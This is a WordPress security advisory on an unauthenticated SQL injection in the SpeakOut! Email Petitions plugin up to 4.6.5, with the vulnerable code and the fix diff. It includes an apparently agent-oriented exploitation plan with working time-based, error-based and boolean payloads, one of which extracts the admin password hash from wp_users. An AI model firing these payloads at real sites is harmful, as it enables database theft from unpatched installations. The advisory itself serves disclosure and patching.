SpeakOut! Email Petitions <= 4.6.5 - Unauthenticated SQL Injection
Description
The SpeakOut! Email Petitions plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 4.6.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v4.6.5.1
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-39530 ## 1. Vulnerability Summary The **SpeakOut! Email Petitions** plugin for WordPress (<= 4.6.5) contains an unauthenticated SQL injection vulnerability. The flaw exists in the `dk_speakout_Signature` class, specifically within the `all()` and `search()` m…
Show full research plan
Exploitation Research Plan - CVE-2026-39530
1. Vulnerability Summary
The SpeakOut! Email Petitions plugin for WordPress (<= 4.6.5) contains an unauthenticated SQL injection vulnerability. The flaw exists in the dk_speakout_Signature class, specifically within the all() and search() methods. User-controlled parameters (such as petition_id and searchString) are directly concatenated into SQL queries without proper sanitization or the use of $wpdb->prepare(). Since these methods are utilized by unauthenticated AJAX handlers to display and filter signature lists on the frontend, an attacker can inject malicious SQL fragments to extract sensitive data.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
dk_speakout_paginate(inferred from plugin functionality and historical SpeakOut! vulnerabilities). - Vulnerable Parameters:
petition_id(used indk_speakout_Signature::all)search_term(passed as$searchStringtodk_speakout_Signature::search)
- Authentication: Unauthenticated (
wp_ajax_noprivhook). - Preconditions: At least one petition must exist in the database (usually ID 1).
3. Code Flow
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.phpwith the actiondk_speakout_paginate. - AJAX Handler: The handler in
includes/ajax.php(registered viawp_ajax_nopriv_dk_speakout_paginate) retrieves user input from$_POST['petition_id']and$_POST['search_term']. - Vulnerable Sink 1 (
all): If no search term is provided, the handler callsdk_speakout_Signature::all( $petition_id, ... ).- In
includes/class.signature.php, line 59:$sql_petition_filter = "AND $db_signatures.petitions_id = '$petition_id'"; - The
$petition_idstring is interpolated directly into the$sqlquery (line 94).
- In
- Vulnerable Sink 2 (
search): If a search term is provided, the handler callsdk_speakout_Signature::search( $petition_id, $searchString, ... ).- In
includes/class.signature.php, line 155:$db_signatures.email LIKE '%" . $searchString . "%' - The
$searchStringis interpolated into multipleLIKEclauses within the$sqlquery (line 154).
- In
4. Nonce Acquisition Strategy
While many public-facing AJAX search features in SpeakOut! have historically lacked nonces, version 4.6.x may require one.
- Identify Shortcode: The plugin uses
[signaturelist id="1"]to display signatures. - Create Test Page:
wp post create --post_type=page --post_title="Signatures" --post_status=publish --post_content='[signaturelist id="1"]' - Extract Nonce:
- Use
browser_navigateto the created page. - Use
browser_evalto extract the nonce from the localized script object. - JS Object:
window.dk_speakout_js(inferred). - Key:
window.dk_speakout_js?.nonce.
- Use
5. Exploitation Strategy
We will use a time-based blind SQL injection against the petition_id parameter, as it is easier to break out of the single-quote encapsulation.
Step 1: Verification (Time-Based)
Send an AJAX request designed to sleep for 5 seconds if the injection is successful.
HTTP Request:
- Method: POST
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=dk_speakout_paginate&petition_id=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- - - Expected Response: The response should take ~5 seconds to return.
Step 2: Data Extraction (Boolean-Based/Error-Based)
If WP_DEBUG is on, we can use error-based injection for faster extraction. Otherwise, we can use the search_term parameter to influence the number of results returned (Boolean-based).
Payload for petition_id (Error-Based):
petition_id=1' AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)-- -
Payload for search_term (Boolean-Based breakout):
search_term=x%' AND (SELECT 1 FROM wp_users WHERE ID=1 AND user_login='admin') AND '%'='
6. Test Data Setup
- Create Petition: Ensure at least one petition exists.
wp eval "dk_speakout_Petition::create(['title' => 'Vulnerable Petition']);"(or usewp db queryto insert intowp_dk_speakout_petitions). - Add Signature: Add a dummy signature to ensure the query returns results under normal conditions.
wp db query "INSERT INTO wp_dk_speakout_signatures (petitions_id, first_name, last_name, email, is_confirmed) VALUES (1, 'Test', 'User', 'test@example.com', 1);" - Publish Page:
wp post create --post_type=page --post_status=publish --post_content='[signaturelist id="1"]'
7. Expected Results
- A successful time-based exploit will result in a significant delay in the HTTP response matching the
SLEEP()value. - A successful error-based exploit will return a database error message containing the requested data (e.g., the admin password hash).
- A successful boolean exploit will return signature results when the condition is true and zero results when false.
8. Verification Steps
After performing the HTTP requests, verify the plugin's vulnerability status:
- Check Database Logs: If query logging is enabled, verify the injected query was executed.
- Confirm Plugin Version: Use WP-CLI to confirm the version is <= 4.6.5.
wp plugin get speakout --field=version
9. Alternative Approaches
If dk_speakout_paginate is not the correct action:
- Check
includes/confirmations.phpand use thedkspeakoutconfirmparameter in a GET request to the site root:/?dkspeakoutconfirm=1' AND SLEEP(5)-- -
This targets thedk_speakout_Signature::confirm()method, which is also unauthenticated and likely vulnerable if the code inside follows the same pattern asall()andsearch().
Summary
The SpeakOut! Email Petitions plugin for WordPress is vulnerable to unauthenticated SQL Injection via multiple parameters including petition_id, search_term, and dkspeakoutconfirm. This occurs because the plugin concatenates user-supplied input directly into SQL queries without using $wpdb->prepare() or adequate sanitization, allowing attackers to extract sensitive data from the database.
Vulnerable Code
// includes/class.signature.php lines 58-61 // Method: all() if ( $petition_id ) { $sql_petition_filter = "AND $db_signatures.petitions_id = '$petition_id'"; } --- // includes/class.signature.php lines 151-170 // Method: search() $sql = " SELECT $db_signatures.*, $db_petitions.title, $db_petitions.custom_field_label, $db_petitions.displays_custom_field FROM `$db_signatures`, `$db_petitions` WHERE $db_signatures.petitions_id = $db_petitions.id AND ($db_signatures.email LIKE '%" . $searchString . "%' OR $db_signatures.honorific LIKE '%" . $searchString . "%' OR $db_signatures.first_name LIKE '%" . $searchString . "%' OR $db_signatures.street_address LIKE '%" . $searchString . "%' OR $db_signatures.city LIKE '%" . $searchString . "%' OR $db_signatures.state LIKE '%" . $searchString . "%' OR $db_signatures.country LIKE '%" . $searchString . "%' OR $db_signatures.custom_field LIKE '%" . $searchString . "%' OR $db_signatures.custom_field2 LIKE '%" . $searchString . "%' OR $db_signatures.custom_field3 LIKE '%" . $searchString . "%' OR $db_signatures.custom_field4 LIKE '%" . $searchString . "%' OR $db_signatures.custom_field5 LIKE '%" . $searchString . "%' OR $db_signatures.postcode LIKE '%" . $searchString . "%') $sql_petition_filter $sql_context_filter ORDER BY $db_signatures.id DESC $sql_limit "; --- // includes/class.signature.php lines 187-191 // Method: check_confirmation() $sql = " SELECT id FROM $db_signatures WHERE `confirmation_code` = '$confirmation_code' AND `is_confirmed` = 1 ";
Security Fix
@@ -184,19 +184,16 @@ { global $wpdb, $db_signatures; - $sql = " - SELECT id - FROM $db_signatures - WHERE `confirmation_code` = '$confirmation_code' AND `is_confirmed` = 1 - "; - $query_results = $wpdb->get_row( $sql ); - - if ( $wpdb->num_rows > 0 ) { - return true; - } - else { + $conf_code = sanitize_key($confirmation_code); + if (empty($conf_code)){ return false; } + $wpdb->get_row( + $wpdb->prepare( + "SELECT id FROM $db_signatures WHERE `confirmation_code` = %s AND `is_confirmed` = 1", $conf_code) + ); + + return ($wpdb->num_rows > 0); } /** @@ -210,16 +207,15 @@ global $wpdb, $db_signatures; $data = array( 'is_confirmed' => 1 ); - $where = array( 'confirmation_code' => $confirmation_code ); + $conf_code = sanitize_key($confirmation_code); + if (empty($conf_code)){ + return false; + } + $where = array( 'confirmation_code' => $conf_code ); $rows_affected = $wpdb->update( $db_signatures, $data, $where ); + return ($rows_affected > 0); - if ( $rows_affected > 0 ) { - return true; - } - else { - return false; - } } /** @@ -9,6 +9,12 @@ add_action( 'template_redirect', 'dk_speakout_confirm_email' ); } +function _fail_early() { + $message = __( 'The confirmation code you provided is invalid.', 'speakout' ); + echo $message; + die; +} + /** * Displays the confirmation page */ @@ -27,11 +33,16 @@ $options = get_option( 'dk_speakout_options' ); $wpml = new dk_speakout_WPML(); - // get the confirmation code from url - $confirmation_code = sanitize_text_field( wp_unslash( $_REQUEST['dkspeakoutconfirm'] ) ); - - // try to confirm the signature - $try_confirm = $the_signature->confirm( $confirmation_code ); + // get the confirmation code from url + $confirmation_code = isset($_REQUEST['dkspeakoutconfirm']) + ? sanitize_key(wp_unslash($_REQUEST['dkspeakoutconfirm'])) : ''; + if (empty( $confirmation_code )) { + _fail_early(); + } + $try_confirm = $the_signature->confirm( $confirmation_code ); + if (!( $try_confirm )) { + _fail_early(); + } // retrieve the petition data $the_petition->retrieve( $the_signature->petitions_id ); @@ -4,7 +4,7 @@ Requires at least: 5.0 Tested up to: 6.8.3 Requires PHP: 7.4 -Stable tag: 4.6.5 +Stable tag: 4.6.5.1 License: GPLv2 or later License URI: http://www.gnu.org/licenses/gpl-2.0.html @@ -21,6 +21,9 @@ The free version includes the core features needed to run a successful petition. For those who need more, the **Pro version** unlocks the ability to run unlimited campaigns and provides additional tools, such as an email sharing option and expanded integration with third-party mailing services. More information about the plugin and how to upgrade to the fully featured Pro version can be found at the official [SpeakOut! WordPress petition plugin website](https://speakoutpetitions.com). +== Upgrade Notice == +== 4.6.5.1 == +This is a critical security patch. Please update immediately to protect your user data. == Changelog == == 4.6.5 == @@ -15,7 +15,7 @@ License: GPL v2 or later License URI: https://www.gnu.org/licenses/gpl-2.0.html -Version: 4.6.5 +Version: 4.6.5.1 {Plugin Name} is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -31,7 +31,7 @@ */ global $wpdb, $db_petitions, $db_signatures, $dk_speakout_version; -$dk_speakout_version = '4.6.5'; +$dk_speakout_version = '4.6.5.1'; $db_petitions = $wpdb->prefix . 'dk_speakout_petitions'; $db_signatures = $wpdb->prefix . 'dk_speakout_signatures';
Exploit Outline
The vulnerability can be exploited by unauthenticated attackers through multiple vectors. One primary vector uses the 'dk_speakout_paginate' AJAX action via /wp-admin/admin-ajax.php, where the 'petition_id' or 'search_term' parameters are vulnerable to SQL concatenation. A second vector targets the 'dkspeakoutconfirm' parameter via a GET request to the site root, which triggers vulnerable raw SQL queries in the 'confirm' and 'check_confirmation' methods. Attackers can provide malicious SQL fragments (e.g., using SLEEP() for time-based or UPDATEXML() for error-based injection) to bypass encapsulation and execute arbitrary database queries.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.